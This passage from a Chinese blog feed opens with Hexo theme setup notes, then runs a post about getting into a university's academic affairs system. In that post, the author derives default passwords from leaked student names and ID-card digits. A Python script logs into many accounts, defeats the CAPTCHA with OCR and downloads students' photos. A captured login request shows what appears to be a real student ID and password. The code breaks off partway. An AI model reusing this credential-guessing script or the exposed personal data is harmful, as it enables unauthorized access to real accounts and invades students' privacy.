class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ git clone https://github.com/probberechts/cactus-dark.git themes/cactus-dark</span><br><span class="line">$ npm install hexo-pagination --save</span><br></pre></td></tr></table></figure></li><li><p>Change the <code>theme</code> property in the <code>config.yml</code> file.</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"># theme: landscape</span><br><span class="line">theme: cactus-dark</span><br></pre></td></tr></table></figure></li><li><p>Run: <code>hexo generate</code> and <code>hexo server</code> </p></li></ol><h4 id="增加link友链"><a href="#增加link友链" class="headerlink" title="增加link友链"></a>增加link友链</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># leej @ Leej-X in ~/blog/leej [16:29:16]</span></span><br><span class="line">$ cat themes/cactus-dark/layout/index.ejs</span><br><span class="line"><section id=<span class="string">"about"</span>></span><br><span class="line"> <% <span class="keyword">if</span> (config.description) { %></span><br><span class="line"> <%- markdown(config.description) %></span><br><span class="line"> <% } %></span><br><span class="line"> <p style=<span class="string">"display: inline"</span>></span><br><span class="line"> <% <span class="keyword">if</span> (theme.customize.social_links) { %></span><br><span class="line"> <%= __(<span class="string">'index.find_me_on'</span>) %></span><br><span class="line"> <p id=<span class="string">"socialinfo"</span>></span><br><span class="line"> <% var nb_links = Object.keys(theme.customize.social_links).length %></span><br><span class="line"> <% var i = 0 %></span><br><span class="line"> <% <span class="keyword">for</span>(var link <span class="keyword">in</span> theme.customize.social_links) { %></span><br><span class="line"> <a class=<span class="string">"icon"</span> target=<span class="string">"_blank"</span> href=<span class="string">"<%- url_for(theme.customize.social_links[link]) %>"</span>><i class=<span class="string">"fa fa-<%= link %>"</span>></i></a><%= ( nb_links > 0 && i < nb_links-1 ? ( i == nb_links-2 ? <span class="string">' '</span>+__(<span class="string">'index.enum_and'</span>)+<span class="string">' '</span> : __(<span class="string">'index.enum_comma'</span>)+<span class="string">' '</span> ) : <span class="string">''</span> ) %></span><br><span class="line"> <% i+=1 %></span><br><span class="line"> <% } %></span><br><span class="line"> </p>.</span><br><span class="line"> <% } %></span><br><span class="line"> </p></span><br><span class="line"></section></span><br><span class="line"></span><br><span class="line"><section id=<span class="string">"writing"</span>></span><br><span class="line"> <span class=<span class="string">"h1"</span>><a href=<span class="string">"<%- url_for("</span>archives<span class="string">") %>"</span>><%= __(<span class="string">'index.articles'</span>) %></a></span></span><br><span class="line"> <ul class=<span class="string">"post-list"</span>></span><br><span class="line"> <% <span class="keyword">if</span> (theme.customize.show_all_posts) { %></span><br><span class="line"> <% var show_posts = page.posts.sort(<span class="string">'date'</span>, <span class="string">'desc'</span>) %></span><br><span class="line"> <% } <span class="keyword">else</span> { %></span><br><span class="line"> <% var show_posts = site.posts.sort(<span class="string">'date'</span>, <span class="string">'desc'</span>).<span class="built_in">limit</span>(theme.customize.post_count || 5) %></span><br><span class="line"> <% } %></span><br><span class="line"> <% show_posts.each(<span class="keyword">function</span>(post, i){ %></span><br><span class="line"> <li class=<span class="string">"post-item"</span>></span><br><span class="line"> <%- partial(<span class="string">'_partial/post/date'</span>, { post: post, class_name: <span class="string">'meta'</span> }) %></span><br><span class="line"> <span><%- partial(<span class="string">'_partial/post/title'</span>, { post: post, index: <span class="literal">true</span>, class_name: <span class="string">''</span> }) %></span></span><br><span class="line"> </li></span><br><span class="line"> <% }); %></span><br><span class="line"> </ul></span><br><span class="line"> <% <span class="keyword">if</span> (theme.customize.show_all_posts) { %></span><br><span class="line"> <%- partial(<span class="string">'_partial/pagination'</span>) %></span><br><span class="line"> <% } %></span><br><span class="line"></section></span><br><span class="line"></span><br><span class="line"><% <span class="keyword">if</span> (site.data.projects) { %></span><br><span class="line"><section id=<span class="string">"projects"</span>></span><br><span class="line"> <span class=<span class="string">"h1"</span>><a href=<span class="string">"<%- url_for(theme.projects_url) %>"</span>><%= __(<span class="string">'index.projects'</span>) %></a></span></span><br><span class="line"> <ul class=<span class="string">"project-list"</span>></span><br><span class="line"> <% <span class="keyword">for</span>(var obj <span class="keyword">in</span> site.data.projects){ %></span><br><span class="line"> <li class=<span class="string">"project-item"</span>></span><br><span class="line"> <a href=<span class="string">"<%= site.data.projects[obj].url %>"</span>><%= site.data.projects[obj].name %></a>: <%= site.data.projects[obj].desc %></span><br><span class="line"> </li></span><br><span class="line"> <% } %></span><br><span class="line"> </ul></span><br><span class="line"></section></span><br><span class="line"><% } %></span><br><span class="line"></span><br><span class="line"><% <span class="keyword">if</span> (site.data.link) { %></span><br><span class="line"><section id=<span class="string">"link"</span>></span><br><span class="line"> <span class=<span class="string">"h1"</span>><a href=<span class="string">"<%- url_for(theme.link_url) %>"</span>><%= __(<span class="string">'index.link'</span>) %></a></span></span><br><span class="line"> <ul class=<span class="string">"link-list"</span>></span><br><span class="line"> <% <span class="keyword">for</span>(var obj <span class="keyword">in</span> site.data.link){ %></span><br><span class="line"> <li class=<span class="string">"project-item"</span>></span><br><span class="line"> <a href=<span class="string">"<%= site.data.link[obj].url %>"</span>><%= site.data.link[obj].name %></a>: <%= site.data.link[obj].desc %></span><br><span class="line"> </li></span><br><span class="line"> <% } %></span><br><span class="line"> </ul></span><br><span class="line"></section></span><br><span class="line"><% } %></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># leej @ Leej-X in ~/blog/leej [16:32:08]</span></span><br><span class="line">$ cat <span class="built_in">source</span>/_data/link.json</span><br><span class="line">[</span><br><span class="line"> {</span><br><span class="line"> <span class="string">"name"</span>:<span class="string">"Leej"</span>,</span><br><span class="line"> <span class="string">"url"</span>:<span class="string">"https://blog.leej.me/"</span>,</span><br><span class="line"> <span class="string">"desc"</span>:<span class="string">"hack by leej"</span></span><br><span class="line"> },</span><br><span class="line"> {</span><br><span class="line"> <span class="string">"name"</span>:<span class="string">"Hexo"</span>,</span><br><span class="line"> <span class="string">"url"</span>:<span class="string">"https://hexo.io/"</span>,</span><br><span class="line"> <span class="string">"desc"</span>:<span class="string">"A fast, simple & powerful blog framework"</span></span><br><span class="line"> }</span><br><span class="line">]</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<h1 id="博客小记"><a href="#博客小记" class="headerlink" title="博客小记"></a>博客小记</h1><p>博客换了好几次主题,这里记录一下<br>
</summary>
</entry>
<entry>
<title>Python学习之教务处的登录,以及安全思考</title>
<link href="http://blog.leej.me/2017/01/19/Python%E5%AD%A6%E4%B9%A0%E4%B9%8B%E6%95%99%E5%8A%A1%E5%A4%84%E7%9A%84%E7%99%BB%E5%BD%95%EF%BC%8C%E4%BB%A5%E5%8F%8A%E5%AE%89%E5%85%A8%E6%80%9D%E8%80%83/"/>
<id>http://blog.leej.me/2017/01/19/Python学习之教务处的登录,以及安全思考/</id>
<published>2017-01-18T20:06:44.000Z</published>
<updated>2018-03-13T05:53:25.284Z</updated>
<content type="html"><![CDATA[<p>最近学习Python,感觉从头学比较枯燥,刚好找到一份资料,可以组合出教务处的默认口令,就打算试试爬一下他们的教务处的头像。<br><a id="more"></a></p><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>刚学习python,觉得比较枯燥总不知道从哪里入手,偶然一次,同学让我帮忙看看选课,发给我的是学校统一的默认格式的密码,突然就想试试有多少人还是默认密码,从QQ群里找了一份学生信息尝试了一下,发现默认密码的还是挺多的,我就想是不是可以通过脚本来做一些有趣的事情。</p><h1 id="分析过程"><a href="#分析过程" class="headerlink" title="分析过程"></a>分析过程</h1><h4 id="a-大致思路"><a href="#a-大致思路" class="headerlink" title="a.大致思路"></a>a.大致思路</h4><p>打开学校教务处官网,正常登陆一波,发现页面跳转到<code>http://210.41.224.117/Login/xLogin/Login.asp</code></p><p><img src="\images\QQ截图20161208010821.jpg" alt="QQ截图20161208010821"></p><p>填写密码登陆,发现登陆页面又跳转回到了教务处<img src="\images\QQ截图20161208011656.jpg" alt="QQ截图20161208011656"></p><p>流程就是教务处点击登录,页面被带到一个认证平台认证,成功后回到教务处。</p><p>这样看太过于笼统,抓包分析一下。<img src="\images\QQ截图20161208012748.jpg" alt="QQ截图20161208012748"></p><p>这是登录前从教务处到认证平台的过程,有好几个302,仔细看了一下大致是从<code>http://jxgl.cuit.edu.cn/JXGL/xs/MainMenu.asp</code>页面,跳转到一个可能是判断用户是否登录的页面,然后在跳到<code>http://jxgl.cuit.edu.cn/Jxgl/Login/tyLogin.asp</code>这个页面,之后跳转到认证页面<code>http://210.41.224.117/Login/qqLogin.asp</code></p><p>这大概是个单点登陆的过程</p><h4 id="关于单点登录SSO"><a href="#关于单点登录SSO" class="headerlink" title="关于单点登录SSO"></a>关于单点登录SSO</h4><p>一、什么是单点登录SSO(Single Sign-On)</p><p> SSO是一种统一认证和授权机制,指访问同一服务器不同应用中的受保护资源的同一用户,只需要登录一次,即通过一个应用中的安全验证后,再访问其他应用中的受保护资源时,不再需要重新登录验证。</p><p><strong>简单点说,就是一个帐号,多个系统都能使用,且只要登录第一个系统,待认证通过后,其它系统可以直接使用,而不需要再次登录.</strong></p><p>二、为什么要用</p><ul><li><p><em>提高用户的效率</em>。用户不再被多次登录困扰,也不需要记住多个 ID 和密码。另外,用户忘记密码并求助于支持人员的情况也会减少。</p></li><li><p><em>提高开发人员的效率</em>。SSO 为开发人员提供了一个通用的身份验证框架。实际上,如果 SSO 机制是独立的,那么开发人员就完全不需要为身份验证操心。他们可以假设,只要对应用程序的请求附带一个用户名,身份验证就已经完成了。</p></li><li><p><em>简化管理</em>。如果应用程序加入了单点登录协议,管理用户帐号的负担就会减轻。简化的程度取决于应用程序,因为 SSO 只处理身份验证。所以,应用程序可能仍然需要设置用户的属性(比如访问特权)。</p><p></p></li></ul><p>三、SSO实现机制</p><p>SSO大概有以下几种方式实现:</p><ul><li><p><em>共享Cookie</em></p><p>当我们的子系统都在一个父级域名下时,我们可以将Cookie种在父域下,这样浏览器同域名下的Cookie则可以共享,这样可以通过Cookie加解密的算法获取用户SessionID,从而实现SSO。<br>但是,后面我们发现这种方式有几种弊端:<br>a. 所有同域名的系统都能获取SessionID,易被修改且不安全;<br>b. 跨域无法使用。<br>所以到后面抛弃这种做法。</p></li><li><p><em>Ticket验证</em></p><p>这种实现的SSO有以下几个步骤:<br>a. 用户访问某个子系统,发现如果未登录,则引导用户跳转到SSO登录页面;<br>b. 判断SSO是否已经登录;<br>c. 如果已经登录,直接跳转到回调地址,并返回认证ticket;<br>d. 如果未登录,用户正确输入用户名/密码,认证通过跳转到回调地址,并返回认证ticket;<br>e. 子系统获取ticket,调用SSO获取用户uid等信息,成功后让用户登录。</p></li></ul><p><img src="\images\1.png" alt="1"></p><p> <code>Ticket验证时序图</code></p><p>四、学校网站登陆的实现</p><p>a. 学生访问某个子系统如教务处,发现如果未登录,发送一个带OSid参数的地址引导用户跳转到SSO登录页面;<br>b. 通过判断OSid来判断SSO是否已经登录;<br>c. 如果已经登录,直接跳转到回调地址,服务器端认证当前OSid;<br>d. 如果未登录,用户正确输入用户名/密码,认证通过跳转到回调地址;<br>e. 子系统获取OSid,调用SSO获取用户uid等信息,成功后让用户登录。</p><h4 id="b-思路分析"><a href="#b-思路分析" class="headerlink" title="b.思路分析"></a>b.思路分析</h4><p>对数据包进行具体的分析</p><p>发现具体setcookie和分配OSid是在这个页面<code>http://jxgl.cuit.edu.cn/Jxgl/Login/tyLogin.asp</code></p><p><img src="\images\QQ截图20161209232639.jpg" alt="QQ截图20161209232639"></p><p>我只需要先访问一次这个页面,获取了cookie和OSid即可,打开一个会话通过提交OSid参数访问认证平台,认证通过了即代表我教务处的回话处于登录状态。</p><p>知道过程还需要知道登录时具体需要哪些参数,看一下具体post的内容</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">POST /Login/xLogin/Login.asp HTTP/1.1</span><br><span class="line">Host: 210.41.224.117</span><br><span class="line">User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0</span><br><span class="line">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8</span><br><span class="line">Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3</span><br><span class="line">Accept-Encoding: gzip, deflate</span><br><span class="line">Referer: http://210.41.224.117/Login/xLogin/Login.asp</span><br><span class="line">Cookie: ASPSESSIONIDQAABSBDB=GELMKBJBABOODECPPGIDDKMC</span><br><span class="line">Connection: keep-alive</span><br><span class="line">Upgrade-Insecure-Requests: 1</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">Content-Length: 122</span><br><span class="line"></span><br><span class="line">WinW=2560&WinH=1080&txtId=2016122150&txtMM=WYH020257a&verifycode=rew&codeKey=19056&Login=Check&IbtnEnter.x=0&IbtnEnter.y=0</span><br></pre></td></tr></table></figure><p><code>WinW=2560&WinH=1080</code>这两个是屏幕分辨率,<code>txtId=2016122150&txtMM=WYH020257a</code>这两个是账号密码,<code>verifycode=rew</code>这是验证码,<code>codeKey=19056</code>这是一个判断页面是否是同一个页面的参数这个试了好久发现这个修改一下就认证不起,这个具体参数在第一次请求的源码里面可以找到</p><h4 id="c-实现过程"><a href="#c-实现过程" class="headerlink" title="c.实现过程"></a>c.实现过程</h4><p>1.新建会话访问<code>http://210.41.224.117/Login/xLogin/Login.asp</code>首先获取OSid,和cookie,还有codeKey</p><p>2.获取验证码<code>http://210.41.224.117/Login/xLogin/yzmDvCode.asp?k=%s&t=1480853802484</code>(这里k就是之前获取的codeKey)</p><p>3.提交数据登录<code>http://210.41.224.117/Login/xLogin/Login.asp</code></p><p>4.判断登录状态,获取头像</p><h1 id="代码"><a href="#代码" class="headerlink" title="代码"></a>代码</h1><h4 id="xx-py"><a href="#xx-py" class="headerlink" title="xx.py"></a>xx.py</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#coding=utf-8</span></span><br><span class="line"><span class="keyword">from</span> requests <span class="keyword">import</span> get,post,Session</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">import</span> MySQLdb</span><br><span class="line"><span class="keyword">import</span> hz</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"><span class="keyword">import</span> pytesseract</span><br><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image</span><br><span class="line">login_heard = {</span><br><span class="line"><span class="string">"User-Agent"</span>: <span class="string">"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36"</span>,</span><br><span class="line"><span class="string">"Referer"</span>: <span class="string">"http://210.41.224.117/Login/xLogin/Login.asp"</span></span><br><span class="line">}</span><br><span class="line">postdata = {</span><br><span class="line"><span class="string">"WinW"</span>: <span class="string">"2560"</span>,</span><br><span class="line"><span class="string">"WinH"</span>: <span class="string">"1080"</span>,</span><br><span class="line"><span class="string">"txtId"</span>: <span class="string">""</span>,</span><br><span class="line"><span class="string">"txtMM"</span>:<span class="string">""</span>,</span><br><span class="line"><span class="string">"verifycode"</span>:<span class="string">""</span>,</span><br><span class="line"><span class="string">"codeKey"</span>:<span class="string">''</span>,</span><br><span class="line"><span class="string">"Login"</span>:<span class="string">"Check"</span>,</span><br><span class="line"><span class="string">"IbtnEnter.x"</span>:<span class="number">62</span>,</span><br><span class="line"><span class="string">"IbtnEnter.y"</span>:<span class="number">54</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">loginurl=<span class="string">"http://210.41.224.117/Login/xLogin/Login.asp"</span></span><br><span class="line">codeurl=<span class="string">"http://210.41.224.117/Login/xLogin/yzmDvCode.asp?k=%s&t=1480853802484"</span> <span class="comment">#验证码</span></span><br><span class="line">getpicurl=<span class="string">"http://210.41.224.117/Login/GetZpPic.asp"</span> <span class="comment">#获取头像</span></span><br><span class="line">jwclogin=<span class="string">"http://jxgl.cuit.edu.cn/Jxgl/Login/tyLogin.asp"</span> <span class="comment">#获取uid</span></span><br><span class="line">jwclogout=<span class="string">"http://jxgl.cuit.edu.cn/Jxgl/UserPub/Logout.asp?UTp=Xs"</span><span class="comment">#注销登录</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">student</span><span class="params">()</span>:</span></span><br><span class="line">id =<span class="string">""</span></span><br><span class="line">ClassID = <span class="string">""</span></span><br><span class="line">gread = <span class="string">""</span></span><br><span class="line">zhuanye = <span class="string">""</span></span><br><span class="line">name = <span class="string">""</span></span><br><span class="line">passwd = <span class="string">""</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self,ID)</span>:</span></span><br><span class="line">self.id = ID</span><br><span class="line">self.passwd = getpass(id)</span><br><span class="line"><span class="comment">#print passwd,id</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">getxx</span><span class="params">(StudentID)</span>:</span></span><br><span class="line">db = MySQLdb.connect(<span class="string">"192.168.14.1"</span>,<span class="string">"root"</span>,<span class="string">"root"</span>,<span class="string">"cuit"</span>,charset=<span class="string">"utf8"</span>)</span><br><span class="line">cursor = db.cursor()</span><br><span class="line">sql = <span class="string">"SELECT StudentID,ClassID,zyid,Gread FROM cuit.xsxx WHERE StudentID= %s"</span> %StudentID</span><br><span class="line">cursor.execute(sql)</span><br><span class="line">xx = cursor.fetchall()</span><br><span class="line">db.close()</span><br><span class="line"><span class="keyword">return</span> xx</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">getid_0</span><span class="params">(gread,zhuanye,ClassID)</span>:</span></span><br><span class="line">db = MySQLdb.connect(<span class="string">"192.168.14.1"</span>,<span class="string">"root"</span>,<span class="string">"root"</span>,<span class="string">"cuit"</span>,charset=<span class="string">"utf8"</span>)</span><br><span class="line">cursor = db.cursor()</span><br><span class="line">sql = <span class="string">"SELECT StudentID,ClassID,zyid,Gread FROM cuit.xsxx WHERE `ClassID` = '%s' and zyid=%s and gread = %s"</span> %(ClassID,zhuanye,gread)</span><br><span class="line">cursor.execute(sql)</span><br><span class="line">id = cursor.fetchall()</span><br><span class="line">db.close()</span><br><span class="line"><span class="comment">#print sql</span></span><br><span class="line"><span class="keyword">return</span> id</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">getid_1</span><span class="params">(gread)</span>:</span></span><br><span class="line">db = MySQLdb.connect(<span class="string">"192.168.14.1"</span>,<span class="string">"root"</span>,<span class="string">"root"</span>,<span class="string">"cuit"</span>,charset=<span class="string">"utf8"</span>)</span><br><span class="line">cursor = db.cursor()</span><br><span class="line">sql1 = <span class="string">"SELECT StudentID,ClassID,zyid,Gread FROM cuit.xsxx WHERE Gread = %d "</span> %(gread)</span><br><span class="line"></span><br><span class="line">cursor.execute(sql1)</span><br><span class="line">id = cursor.fetchall()</span><br><span class="line">db.close()</span><br><span class="line"><span class="comment">#print sql</span></span><br><span class="line"><span class="keyword">return</span> id</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">getpass</span><span class="params">(id)</span>:</span></span><br><span class="line">db = MySQLdb.connect(<span class="string">"192.168.14.1"</span>,<span class="string">"root"</span>,<span class="string">"root"</span>,<span class="string">"cuit"</span>,charset=<span class="string">"utf8"</span>)</span><br><span class="line">cursor = db.cursor()</span><br><span class="line">sql = <span class="string">"select CONCAT(Name,RIGHT(IDcard,6)) from cuit.xsxx where StudentID = '%s'"</span> %id</span><br><span class="line">cursor.execute(sql)</span><br><span class="line">data = cursor.fetchone()</span><br><span class="line">password=<span class="string">u'%s'</span> %data</span><br><span class="line"><span class="comment">#print(password)</span></span><br><span class="line">password = hz.main(password)</span><br><span class="line">password=password+<span class="string">"a"</span></span><br><span class="line">db.close()</span><br><span class="line"><span class="keyword">return</span> password</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">getcode</span><span class="params">(code)</span>:</span></span><br><span class="line">image = Image.open(code)</span><br><span class="line">vcode = pytesseract.image_to_string(image)</span><br><span class="line">vcode = re.sub(<span class="string">r'\W'</span>,<span class="string">""</span>,vcode)</span><br><span class="line"><span class="keyword">return</span> str(vcode)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">login</span><span class="params">(xiaomin,path)</span>:</span></span><br><span class="line">S = Session()</span><br><span class="line"><span class="comment"># 先访问login页面,拿cookies,codeKey</span></span><br><span class="line">R_1 = S.get(loginurl,headers=login_heard)</span><br><span class="line">R_1.encoding = <span class="string">"GB2312"</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#匹配codekey 格式:var codeKey = '587913';</span></span><br><span class="line">codeKey = re.findall(<span class="string">"var codeKey = '(.*)';"</span>, R_1.text)</span><br><span class="line">postdata[<span class="string">"codeKey"</span>]=str(codeKey[<span class="number">0</span>])</span><br><span class="line">flag = <span class="number">-1</span></span><br><span class="line">changdu = <span class="number">0</span></span><br><span class="line"><span class="keyword">while</span> flag == <span class="number">-1</span>:</span><br><span class="line">changdu = changdu +<span class="number">1</span></span><br><span class="line"><span class="comment">#使用code去刷新验证码</span></span><br><span class="line">R_yzm = S.get(codeurl % codeKey[<span class="number">0</span>],headers=login_heard)</span><br><span class="line"><span class="comment">#保存验证码</span></span><br><span class="line"><span class="keyword">with</span> open(<span class="string">"code.bmp"</span>, <span class="string">"wb"</span>) <span class="keyword">as</span> code:</span><br><span class="line">code.write(R_yzm.content)</span><br><span class="line"></span><br><span class="line">yzm=getcode(<span class="string">"code.bmp"</span>)</span><br><span class="line"></span><br><span class="line">postdata[<span class="string">"verifycode"</span>]=yzm</span><br><span class="line">postdata[<span class="string">"txtId"</span>]=xiaomin.id</span><br><span class="line">postdata[<span class="string">"txtMM"</span>]=xiaomin.passwd</span><br><span class="line"></span><br><span class="line">R_post = S.post(loginurl,headers=login_heard,data=postdata)</span><br><span class="line">R_post.encoding = <span class="string">"gbk"</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="string">"LoginOK!"</span> <span class="keyword">in</span> R_post.text :</span><br><span class="line">flag = <span class="number">1</span></span><br><span class="line"><span class="keyword">print</span> (str(xiaomin.id)+<span class="string">":"</span>+str(xiaomin.passwd))</span><br><span class="line"><span class="keyword">if</span> <span class="string">u"验证码不匹配,请重新输入验证码!"</span> <span class="keyword">in</span> R_post.text :</span><br><span class="line">flag = <span class="number">-1</span></span><br><span class="line"><span class="comment">#print ("验证码错误!")</span></span><br><span class="line"><span class="keyword">if</span> <span class="string">u"用户名和密码均区分大小写,其中至少一项输入有误,请重新输入!"</span> <span class="keyword">in</span> R_post.text :</span><br><span class="line">flag = <span class="number">0</span></span><br><span class="line"><span class="keyword">print</span> (str(id)+<span class="string">":密码错误!"</span>)</span><br><span class="line"><span class="comment">#print postdata["txtMM"]</span></span><br><span class="line"><span class="comment">#print postdata</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> flag == <span class="number">1</span>:</span><br><span class="line"><span class="comment"># 请求头像</span></span><br><span class="line">R_face = S.get(getpicurl,headers=login_heard)</span><br><span class="line"><span class="keyword">with</span> open(path+<span class="string">"/"</span>+id+<span class="string">".jpg"</span>, <span class="string">"wb"</span>) <span class="keyword">as</span> code:</span><br><span class="line">code.write(R_face.content)</span><br><span class="line"><span class="comment">#END = S.get(jwclogouturl,headers=login_heard)</span></span><br><span class="line"><span class="keyword">print</span> <span class="string">"长度:%d"</span>%changdu</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">find</span><span class="params">(way)</span>:</span></span><br><span class="line"><span class="keyword">if</span> way == <span class="number">1</span>:</span><br><span class="line">ids = getxx(raw_input(<span class="string">'学号:'</span>))</span><br><span class="line"><span class="keyword">if</span> way == <span 